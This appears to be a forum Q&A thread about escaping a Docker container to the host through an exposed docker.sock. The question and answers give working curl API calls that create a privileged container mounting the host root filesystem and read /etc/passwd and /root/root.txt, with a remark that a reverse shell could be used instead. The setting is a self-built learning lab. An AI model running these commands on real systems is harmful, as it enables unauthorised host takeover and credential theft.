I am inside the container, and I am trying to learn escaping from container to host. So I create a vulnerable environment, on which the container is having `/var/run/docker.sock' file inside the container to make API calls.

So I tried to create a container which will mount the path source / to container /host directory. / as this contains the whole file system.

curl -X POST -H "Content-Type: application/json" --unix-socket /run/docker.sock -d '{"Image":"ubuntu:latest", "Cmd":["cat", "/host/etc/passwd"], "Mounts":[{"Type":"bind", "Source":"/", "Target":"/host"}]}' "http://localhost/containers/create?name=escaping"

I start the container

curl -X POST --unix-socket /run/docker.sock "http://localhost/containers/escaping/start"

when I checked the logs by using this

curl --output - --unix-socket /run/docker.sock "http://localhost/containers/escaping/logs?stdout=true"

As you can see, I was cat the /etc/passwd file in the first command, So I thought i would get the host file contents, but when I checked the contents, those were very first containers file content from which I was running the CURL command.

So what am i missing here?

  • You said that the socket is on /var/run/docker.sock in your container but your curl commands point to /run/docker.sock ? Did I miss something?
    – zar3bski
    Nov 20, 2020 at 13:00

2 Answers 2


Api versioning

Ok so, one thing you have to keep in mind is that docker's API changed a lot, especially concerning volumes. How do you deal with this? the same way you would deal with any other REST API interfacing issue: find the version's documentation. First thing you need to check is the API version

curl -X GET --unix-socket /var/run/docker.sock

Read host's files

For this example:

  • I'll stick to v.1.40 (have a look at doc)
  • I want to read host's /root/root.txt.
  • There a docker image available on the system called sandbox:latest
  • I'll mount the entire host's / on the containers /mnt

Create a container with a volume from the host

curl -X POST --unix-socket /var/run/docker.sock "" -d '{"Image":"sandbox:latest", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Volumes":{"/mnt":{}}, "Privileged": true, "HostConfig": {"Binds": ["/:/mnt"]}}' -H "Content-Type: application/json"

gives you a $container-id. The tricky part is this HostConfig field not well documented

{  ...
   "HostConfig": {"Binds": ["/:/mnt"]}

Then start your container

curl  --unix-socket /var/run/docker.sock "${container-id}/start?name=toto" -X POST -H "Content-Type: application/json"

Execute your command

curl -X POST --unix-socket /var/run/docker.sock "${container-id}/exec" -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/root/root.txt"]}' -H "Content-Type: application/json" 

This gives you an $execution-id. You'll then be able to

curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock "${execution-id}/start" -d '{}' --output -

Et voilà (--output - is only here so that curl does not freak out because of plain binary). Instead of a cat, you could create a reverse shell (same idea)


Just like any other system, to debug, have a look at the logs

curl -X GET --unix-socket /var/run/docker.sock "${container-id}/logs?stdout=true"

I'd start by saying you're making things a bit tough for yourself by doing this with curl rather than the docker CLI (it's a good thing to learn though)

So I think your problem here is that you've cat'd /etc/passwd inside the container, rather than /host/etc/passwd remember you're mounting the host filesystem with /host as a base, so you need to prepend that path to any files you're looking to get access to.

  • I think he was in a situation were docker cli was not available (it rarely is in containers)
    – zar3bski
    Nov 20, 2020 at 20:48

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.